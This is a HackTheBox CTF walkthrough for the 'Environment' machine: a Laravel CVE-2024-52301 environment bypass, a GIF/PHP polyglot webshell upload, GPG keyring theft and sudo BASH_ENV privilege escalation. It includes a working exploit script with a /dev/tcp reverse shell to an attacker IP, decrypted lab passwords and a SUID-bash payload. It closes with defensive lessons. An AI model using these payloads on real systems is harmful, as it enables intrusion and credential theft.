Environment
Box Info
Platform: HackTheBox, OS: Linux (Debian 12), Difficulty: Medium, Released: 2025-05-03, IP: 10.10.11.67 , environment.htb
Attack Path
- Laravel app. Appending
?--env=preprodto the login POST flips the framework into a different environment where the login flow has a debug branch you can pass (CVE-2024-52301, Laravel environment detection viaargv). - Authenticated, the profile image upload accepts a
GIF87aprefixed polyglot with a trailing dot filename (name.php.). PHP webshell lands in/storage/files/. Shell aswww-data. www-datacan read/home/hish/.gnupg. Copy it, list the secret key, andgpg --decrypt /home/hish/backup/keyvault.gpgyields a password vault.su hishwithmarineSPm@ster!!.hishmaysudo /usr/bin/systeminfo, andsudokeepsBASH_ENV. PointBASH_ENVat a script that SUIDs bash. Root.
Credentials and Flags
| Where | Value |
|---|---|
GPG keyvault, ENVIRONMENT.HTB entry | hish : marineSPm@ster!! |
user.txt | /home/hish/user.txt |
root.txt | /root/root.txt |
Overview
Environment was the box that made me appreciate how a single misconfigured PHP setting can undermine an entire framework’s security model. CVE-2024-52301 is a genuinely subtle Laravel bug, and I spent time making sure I understood the mechanism before I trusted the exploit: Laravel reads --env=<name> out of the process argv to decide which environment it should run as, and because PHP’s register_argc_argv was left on for the web SAPI (Debian’s default, notably), the query string itself gets parsed into $_SERVER['argv']. That means a request as simple as ?--env=preprod actually flips the running environment for that single request, and if the preprod environment has a weaker code path anywhere, a debug login branch, verbose errors, disabled CSRF, I get to hit it from the outside with nothing more than a query parameter. On this box, preprod turned out to have exactly that: a login controller branch that would authenticate me without valid credentials.
From there, I moved into more familiar territory. The next hurdle was a polyglot file upload, where I combined GIF magic bytes with a trailing dot in the filename to slip past the extension check, and the final privilege escalation leaned on sudo plus BASH_ENV, where sudo had been configured to preserve BASH_ENV across its environment reset and bash dutifully sources whatever that variable points to before running any script. Each of these three stages is a well-known technique on its own, but chaining a brand-new CVE into two evergreen ones is what made this box worth documenting carefully.
Related Laravel boxes: EarlyAccess. Related polyglot upload: Magic, PopCorn, Usage. Related sudo env keeping (LD_PRELOAD, BASH_ENV, PYTHONPATH): this is the reference BASH_ENV case. Related GPG keyvault: Bolt.
Full Walkthrough
Foothold, Laravel env bypass plus upload
CVE-2024-52301, Laravel environment manipulation
Digging into the root cause, I found that Laravel’s Application::detectEnvironment() checks $_SERVER['argv'] for a --env=<name> argument before it ever falls back to the configured APP_ENV. That check makes sense for a CLI context, but it becomes a real problem the moment register_argc_argv = On is set for the web SAPI, which is Debian’s default. With that setting active, PHP parses the request’s query string straight into argv, so a request to /login?--env=preprod convinces Laravel it’s running in the preprod environment for the duration of that request. From there, the impact depends entirely on what that environment’s code paths look like: a debug login shortcut, verbose error output, disabled CSRF protection, or a seeded test account are all fair game if they exist anywhere in the environment-specific logic. The fix landed in Laravel 6.20.45 / 7.30.7 / 8.83.28 / 9.52.17 / 10.48.23 / 11.31.0. On this box specifically, flipping into preprod let the login controller authenticate me with no valid credentials at all.
Once I’d confirmed the environment bypass by hand, I scripted the whole chain so it would run reliably end to end: authenticate via ?--env=preprod, upload a GIF/PHP polyglot to the profile handler, then hit the uploaded file directly to trigger a reverse shell.
import requests, re, io
base_url = 'http://environment.htb'
login_url = base_url + '/login'
fname = "baphometpwn2.php"
def get_csrf(url, req_cookies={}):
res = requests.get(url, cookies=req_cookies, allow_redirects=False)
return re.search(r'name="_token" value="(\w+)"', res.text).group(1), res
def extract_cookies(res):
return {'laravel_session': res.cookies.get('laravel_session'),
'XSRF-TOKEN': res.cookies.get('XSRF-TOKEN')}
def login(csrf_token, cookies):
data = {'email': 'email@example.com', 'password': 'admin',
'_token': csrf_token, 'remember': 'True'}
res = requests.post(login_url + '?--env=preprod', data=data,
cookies=cookies, allow_redirects=False)
assert res.status_code == 302
return extract_cookies(res)
def upload_webshell(cookies, fname):
webshell = '''GIF87a
<html><body>
<form method="GET"><input name="cmd"><input type="SUBMIT"></form>
<pre><?php if(isset($_GET['cmd'])) system($_GET['cmd']); ?></pre>
</body></html>'''
csrf_token, _ = get_csrf(base_url + '/management/profile', cookies)
files = {'upload': (fname + '.', io.BytesIO(webshell.encode()), 'image/jpeg')}
requests.post(base_url + '/upload', files=files, data={'_token': csrf_token},
cookies=cookies, allow_redirects=False)
def start_reverse_shell(fname):
IP, PORT = '10.10.14.4', 9002
url = (f'http://environment.htb/storage/files/{fname}'
f'?cmd=bash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2F{IP}%2F{PORT}+0%3E%261%27')
requests.get(url, allow_redirects=False)
csrf_token, res = get_csrf(login_url)
cookies = login(csrf_token, extract_cookies(res))
upload_webshell(cookies, fname)
start_reverse_shell(fname)The upload bypass
Looking at how the profile image handler validates uploads, I found it does two checks: it compares the extension against a blocklist and sniffs the first bytes for a valid image signature. I could satisfy both at once. GIF87a\n<?php ... passes the signature check because it starts with a legitimate GIF header, and naming the file with a trailing dot (shell.php.) gets it stored by PHP/Laravel as shell.php on Linux, since the trailing dot is silently stripped by the filesystem layer, while a naive pathinfo($name, PATHINFO_EXTENSION) check on the original name sees an empty extension and lets it through. The end result lands in /storage/files/, which is web-served and executes as PHP, giving me a working webshell from a file that technically passed every validation the application ran on it.
www-data to hish, GPG keyvault
As www-data, I went looking for the usual local privesc leads. I found a database dump sitting in the web directory, but the password hashes inside it didn’t crack against any wordlist I threw at them, so I moved on rather than sinking more time into that dead end. What did pan out was checking file permissions on other users’ home directories: hish’s ~/.gnupg turned out to be world-readable, which is effectively an invitation to copy the private key and start decrypting whatever it protects.
$ cp -r /home/hish/.gnupg /tmp/.gnupg && chmod -R 700 /tmp/.gnupg
$ gpg --homedir /tmp/.gnupg --list-secret-keys --no-permission-warning
sec rsa2048 2025-01-11 [SC]
F45830DFB638E66CD8B752A012F42AE5117FFD8E
uid [ultimate] hish_ <hish@environment.htb>
$ gpg --homedir /tmp/.gnupg --decrypt /home/hish/backup/keyvault.gpg
PAYPAL.COM -> Ihaves0meMon$yhere123
ENVIRONMENT.HTB -> marineSPm@ster!!
FACEBOOK.COM -> summerSunnyB3ACH!!
Why a readable .gnupg is game over
The reason I treat a readable .gnupg directory as effectively game over is that it contains the private key itself, stored under private-keys-v1.d/ on modern GPG or secring.gpg on older setups. Once I can copy that directory, I can point gpg --homedir at my own copy and use the key exactly as hish would, with no passphrase prompt at all if the key has none, or a crackable one if I need to run it through gpg2john first. That access unlocks anything the user ever encrypted for their own use: backups, password vaults, private notes, all of it becomes readable the moment the keyring itself is exposed. The fix is simple and something I check for on every box now: ~/.gnupg should be mode 700, and no service account should ever be able to read into another user’s home directory in the first place.
Out of the three decrypted entries, the ENVIRONMENT.HTB one was obviously the credential meant for this box, so I used it to switch users directly.
su hish # marineSPm@ster!!hish to root, sudo plus BASH_ENV
As hish, checking sudo privileges is always my first move, since it tells me immediately whether there’s a sanctioned path to root worth chasing.
$ sudo -l
Matching Defaults entries for hish on environment:
env_reset, env_keep+="ENV BASH_ENV", use_pty
User hish may run the following commands on environment:
(ALL) /usr/bin/systeminfo
BASH_ENV injection
The detail that caught my eye in that sudo -l output was env_keep+="ENV BASH_ENV". BASH_ENV names a file that a non-interactive bash shell sources before running a script, and systeminfo is itself a bash script. Because sudo was explicitly configured to preserve BASH_ENV across its usual environment reset, I effectively controlled a file that root’s bash would execute before systeminfo ever ran, which turns an allowed-but-narrow sudo entry into unrestricted code execution as root.
cat > /home/hish/pwn.sh <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/bash && chmod u+s /tmp/bash
EOF
sudo BASH_ENV=/home/hish/pwn.sh /usr/bin/systeminfo
/tmp/bash -p
cat /root/root.txtLoot
| Flag | Location |
|---|---|
user.txt | /home/hish/user.txt |
root.txt | /root/root.txt |
Lessons and Takeaways
register_argc_argvshould be off for the web SAPI, full stop. The whole first stage of this box exists because a CLI convenience, reading--env=fromargv, was still reachable through a web request. I’d tell any team running Laravel (or honestly any PHP framework that readsargvfor configuration) to turn that setting off for anything served by PHP-FPM or mod_php, and to patch to a version past CVE-2024-52301 regardless. Letting query strings masquerade as command-line arguments is a whole class of surprises waiting to happen.- Environment-specific code paths must never be weaker than production. Whatever convenience a
preprodorstagingenvironment offers, a debug login shortcut, disabled CSRF, verbose stack traces, it has to assume that environment is reachable from the outside, because on this box it was just a query parameter away. I treat “environment detection” as an attack surface now, not just a deployment convenience. - Validate uploads by re-encoding, not by inspecting. Signature sniffing and extension blocklists are both bypassable, as this box demonstrated cleanly. The more robust approach is to decode and re-encode any uploaded image through a trusted library, which strips out anything that isn’t valid image data, and to serve the upload directory with PHP execution disabled entirely so that even a successful upload can’t run as code.
- Home directories need real permission discipline.
~/.gnupg,~/.ssh, and~/.awsshould all be mode700and owned exclusively by the user in question. A service account likewww-datashould never have a path into another user’s private key material, and I now treat any world-readable dotfile directory as a finding worth escalating on its own. env_keepquietly defeats the point ofsudo. PreservingBASH_ENV,ENV,LD_PRELOAD,LD_LIBRARY_PATH,PYTHONPATH, orPERL5LIBacross asudoinvocation hands the calling user a way to inject code into whatever runs next, no matter how narrowly the allowed command itself is scoped.env_resetwith no exceptions is the only configuration I’d sign off on for anysudorule that executes a script or interpreter.
Related Writeups
- Laravel: EarlyAccess
- Polyglot / trailing dot upload bypass: Magic, PopCorn, Usage, Heal
- GPG keyvault to credentials: Bolt
sudoenv keeping to root (BASH_ENV/LD_PRELOAD): Environment is the reference case
References
- CVE-2024-52301 (Laravel) https://github.com/laravel/framework/security/advisories/GHSA-gv7v-rgg6-548h
- GTFOBins bash BASH_ENV https://gtfobins.github.io/gtfobins/bash/#sudo
- PHP register_argc_argv https://www.php.net/manual/en/ini.core.php#ini.register-argc-argv